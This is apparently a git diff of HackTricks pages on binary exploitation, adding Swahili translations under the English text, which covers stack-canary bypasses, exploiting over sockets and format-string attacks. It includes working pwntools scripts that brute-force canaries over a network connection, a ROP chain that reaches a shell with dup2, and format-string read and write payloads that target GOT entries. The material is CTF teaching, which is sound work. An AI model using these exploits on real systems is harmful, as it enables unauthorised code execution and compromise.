- Ikiwa **canary imeforked katika michakato ya watoto** inaweza kuwa inawezekana **kujaribu kwa nguvu** moja byte kwa wakati:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- Ikiwa kuna **kuvuja au udhaifu wa kusoma bila mpangilio** katika binary inaweza kuwa inawezekana kuvuja:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **Kuandika tena viashiria vilivyohifadhiwa kwenye stack**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
Stack inayoweza kuwa na overflow ya stack inaweza **kuhifadhi anwani za nyuzi au kazi ambazo zinaweza kuandikwa tena** ili kutumia udhaifu bila kuhitaji kufikia canary ya stack. Angalia:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **Kubadilisha canary ya bwana na nyuzi**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
Overflow ya buffer katika **kazi ya nyuzi** iliyolindwa na canary inaweza kutumika kubadilisha **canary ya bwana ya nyuzi**. Kama matokeo, ulinzi ni wa bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Zaidi ya hayo, overflow ya buffer katika **kazi ya nyuzi** iliyolindwa na canary inaweza kutumika kubadilisha **canary ya bwana iliyohifadhiwa katika TLS**. Hii ni kwa sababu, inaweza kuwa inawezekana kufikia nafasi ya kumbukumbu ambapo TLS inahifadhiwa (na hivyo, canary) kupitia **bof katika stack** ya nyuzi.\
Kama matokeo, ulinzi ni wa bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
Shambulio hili linafanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) ambayo inasema kwamba kawaida **TLS** inahifadhiwa na **`mmap`** na wakati **stack** ya **thread** inaundwa pia inaundwa na `mmap` kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
- **Modify the GOT entry of `__stack_chk_fail`**
- **Badilisha kipengee cha GOT cha `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
Ikiwa binary ina Partial RELRO, basi unaweza kutumia kuandika bila mpangilio kubadilisha **kipengee cha GOT cha `__stack_chk_fail`** kuwa kazi ya dummy ambayo haiwezi kuzuia programu ikiwa canary itabadilishwa.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
Shambulio hili linafanywa katika andiko: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## Marejeleo
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Ikiwa unakutana na binary iliyo na kinga ya canary na PIE (Position Independent Executable) huenda unahitaji kupata njia ya kuipita.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Kumbuka kwamba **`checksec`** huenda isipate kwamba binary ina kinga ya canary ikiwa hii ilikusanywa kwa njia ya statically na haiwezi kubaini kazi hiyo.\
> Hata hivyo, unaweza kugundua hili kwa mikono ikiwa unapata kwamba thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka.
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Njia bora ya kuipita canary rahisi ni ikiwa binary ni programu **inayo fork mchakato wa watoto kila wakati unapoanzisha muunganisho mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapojiunganisha nayo **canary ile ile itatumika**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
Basi, njia bora ya kuipita canary ni tu **kujaribu kwa nguvu kila herufi**, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kukagua ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi **ina jaribu kwa nguvu canary ya Bytes 8 (x64)** na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa **kuangalia** ikiwa **jibu** linatumwa nyuma na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/isipokuwepo**):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
### Mfano 1
Mfano huu umeandikwa kwa 64bits lakini unaweza kutekelezwa kwa urahisi kwa 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Mfano wa 2
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
Hii imewekwa kwa bit 32, lakini hii inaweza kubadilishwa kwa urahisi kuwa bit 64.\
Pia kumbuka kwamba kwa mfano huu **programu inatarajia kwanza byte moja kuashiria ukubwa wa ingizo** na payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
Threads za mchakato sawa pia **zitashiriki token ya canary sawa**, kwa hivyo itakuwa inawezekana **brute-forc**e canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.&#x20;
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Zaidi ya hayo, **overflow ya buffer katika kazi iliyo na thread** iliyolindwa na canary inaweza kutumika **kubadilisha canary mkuu iliyohifadhiwa katika TLS**. Hii ni kwa sababu, inaweza kuwa inawezekana kufikia nafasi ya kumbukumbu ambapo TLS inahifadhiwa (na kwa hivyo, canary) kupitia **bof katika stack** ya thread.\
Kwa matokeo, kinga ni bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
Shambulio hili linafanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) ambayo inasema kwamba kawaida **TLS** inahifadhiwa na **`mmap`** na wakati **stack** ya **thread** inaundwa pia inazalishwa na `mmap` kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, no PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ili kuita `execve` na kuruka huko.

View File

@ -4,30 +4,30 @@
## Enlarge printed stack
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
Fikiria hali ambapo **programu iliyo hatarini** kwa stack overflow inaweza kutekeleza **puts** kazi **ikiashiria** **sehemu** ya **stack overflow**. Mshambuliaji anajua kwamba **byte ya kwanza ya canary ni byte ya null** (`\x00`) na sehemu nyingine za canary ni **bytes za nasibu**. Kisha, mshambuliaji anaweza kuunda overflow ambayo **inaandika tena stack hadi byte ya kwanza ya canary**.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
Kisha, mshambuliaji **anaita kazi ya puts** katikati ya payload ambayo it **chapisha canary yote** (isipokuwa byte ya kwanza ya null).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
Kwa habari hii mshambuliaji anaweza **kuunda na kutuma shambulio jipya** akijua canary (katika kikao hicho hicho cha programu).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
Kwa wazi, mbinu hii ni **kikomo** kwani mshambuliaji anahitaji kuwa na uwezo wa **kuchapisha** **maudhui** ya **payload** yake ili **kuondoa** **canary** na kisha aweze kuunda payload mpya (katika **kikao hicho hicho cha programu**) na **kutuma** **overflow halisi ya buffer**.
**CTF examples:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza overflow hadi byte 0x00 ya canary ili kisha kuita puts na kuondoa. Kwa canary gadget ya ROP inaundwa kuitwa puts ili kuondoa anwani ya puts kutoka GOT na gadget ya ROP kuitwa `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32 bit, ARM, hakuna relro, canary, nx, hakuna pie. Overflow na wito kwa puts juu yake ili kuondoa canary + ret2lib ikitumia `system` na mchain ya ROP ili kupop r0 (arg `/bin/sh`) na pc (anwani ya system)
## Arbitrary Read
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
Kwa **kusoma kwa nasibu** kama ile inayotolewa na format **strings** inaweza kuwa inawezekana kuondoa canary. Angalia mfano huu: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) na unaweza kusoma kuhusu kutumia format strings kusoma anwani za kumbukumbu za nasibu katika:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- Changamoto hii inatumia kwa njia rahisi sana format string kusoma canary kutoka stack
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems
# Matatizo ya Kawaida ya Kutumia
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## FDs katika Utekelezaji wa Mbali
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
Wakati wa kutuma exploit kwa seva ya mbali inayopiga **`system('/bin/sh')`** kwa mfano, hii itatekelezwa katika mchakato wa seva, na `/bin/sh` itatarajia pembejeo kutoka stdin (FD: `0`) na itachapisha matokeo katika stdout na stderr (FDs `1` na `2`). Hivyo, mshambuliaji hataweza kuingiliana na shell.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
Njia moja ya kutatua hili ni kudhani kwamba wakati seva ilianza iliumba **FD nambari `3`** (kwa kusikiliza) na kwamba kisha, muunganisho wako utaenda kuwa katika **FD nambari `4`**. Hivyo, inawezekana kutumia syscall **`dup2`** kuiga stdin (FD 0) na stdout (FD 1) katika FD 4 (ya muunganisho wa mshambuliaji) ili kufanya iwezekane kuwasiliana na shell mara itakapotekelezwa.
[**Mfano wa exploit kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
Kumbuka kwamba socat tayari inahamisha **`stdin`** na **`stdout`** kwa socket. Hata hivyo, hali ya `pty` **inasababisha kuondolewa kwa wahusika**. Hivyo, ikiwa utatuma `\x7f` ( `DELETE` -) it **itaondoa wahusika wa awali** wa exploit yako.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
Ili kupita hili, **mhusika wa kukimbia `\x16` lazima aongezwe kabla ya yoyote `\x7f` inayotumwa.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Hapa unaweza** [**kupata mfano wa tabia hii**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
Katika C **`printf`** ni kazi inayoweza kutumika **kuchapisha** maandiko fulani. **Parameta ya kwanza** ambayo kazi hii inatarajia ni **maandishi halisi yenye waandishi wa fomati**. **Parameta zinazofuata** zinazotarajiwa ni **thamani** za **kuchukua nafasi** ya **waandishi wa fomati** kutoka kwa maandiko halisi.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
Kazi nyingine zenye udhaifu ni **`sprintf()`** na **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
Udhaifu huu unatokea wakati **maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza** kwa kazi hii. Mshambuliaji ataweza kuunda **ingizo maalum linalotumia** uwezo wa **printf format** kusoma na **kuandika data yoyote katika anwani yoyote (inasomeka/inaandikwa)**. Kwa njia hii, kuwa na uwezo wa **kutekeleza msimbo wowote**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Mifano:**
**Examples:**
- Vulnerable example:
- Mfano unaoweza kushambuliwa:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- Matumizi ya Kawaida:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- Kwa Kutokuwepo kwa Hoja:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf inayoathiriwa:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Kupata Viashiria**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
Muundo **`%<n>$x`**, ambapo `n` ni nambari, unaruhusu kuashiria kwa printf kuchagua parameter ya n (kutoka kwenye stack). Hivyo ikiwa unataka kusoma parameter ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya:
```c
printf("%x %x %x %x")
```
na ungeweza kusoma kutoka kwa param ya kwanza hadi ya nne.
and you would read from the first to the forth param.
Or you could do:
Au unaweza kufanya:
```c
printf("%4$x")
```
na kusoma moja kwa moja ya nne.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Kumbuka kwamba mshambuliaji anadhibiti `printf` **parameta, ambayo kimsingi inamaanisha kwamba** ingizo lake litakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> Mshambuliaji anayekontrol ingizo hili, ataweza **kuongeza anwani zisizo na mpangilio kwenye stack na kufanya `printf` izifikie**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **Kusoma Bila Mpangilio**
Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ipate **anwani** iliyoko katika **n nafasi**, ikifuatia na **kuichapisha kana kwamba ni string** (chapisha hadi 0x00 ipatikane). Hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:
```python
from pwn import *
@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa katika 0x00 mwishoni mwa anwani hiyo.
### Find offset
### Tafuta offset
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
Ili kupata offset kwa ingizo lako unaweza kutuma bytes 4 au 8 (`0x41414141`) ikifuatiwa na **`%1$x`** na **kuongeza** thamani hadi upate `A's`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +103,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### Jinsi inavyofaa
Arbitrary reads can be useful to:
Kusoma kwa njia isiyo na mipaka kunaweza kuwa na manufaa kwa:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Kutoa** **binary** kutoka kwenye kumbukumbu
- **Kufikia sehemu maalum za kumbukumbu ambapo** **info** **nyeti** imehifadhiwa (kama vile canaries, funguo za usimbaji au nywila za kawaida kama katika hii [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
## **Kuandika kwa Njia Isiyo na Mipaka**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
Formatter **`%<num>$n`** **inaandika** **idadi ya bytes zilizandika** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya **`%<num>$n`** kuandika nambari isiyo na mipaka katika anwani isiyo na mipaka.
Kwa bahati, ili kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika nambari **`<num-write>`** katika **anwani inayotolewa na nafasi ya `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama `0x08049724` (ambayo ni nambari KUBWA kuandika mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu **kuandika tu Bytes 2**. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya 2B za juu za anwani na nyingine kwa ajili ya zile za chini.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Kwa hivyo, udhaifu huu unaruhusu **kuandika chochote katika anwani yoyote (kuandika bila mpangilio).**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
Katika mfano huu, lengo litakuwa **kuandika upya** **anwani** ya **kazi** katika jedwali la **GOT** ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
Tuta **andika upya** **kazi** ambayo **inapokea** **hoja** zake kutoka kwa **mtumiaji** na **kuielekeza** kwa **`system`** **kazi**.\
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Unap **andika kwanza Bytes 2** za anwani na kisha zile nyingine 2. Ili kufanya hivyo **`$hn`** inatumika.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
- **HOB** inaitwa kwa Bytes 2 za juu za anwani
- **LOB** inaitwa kwa Bytes 2 za chini za anwani
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
Kisha, kwa sababu ya jinsi format string inavyofanya kazi unahitaji **kuandika kwanza ndogo** ya \[HOB, LOB] na kisha nyingine.
If HOB < LOB\
Ikiwa HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
Ikiwa HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
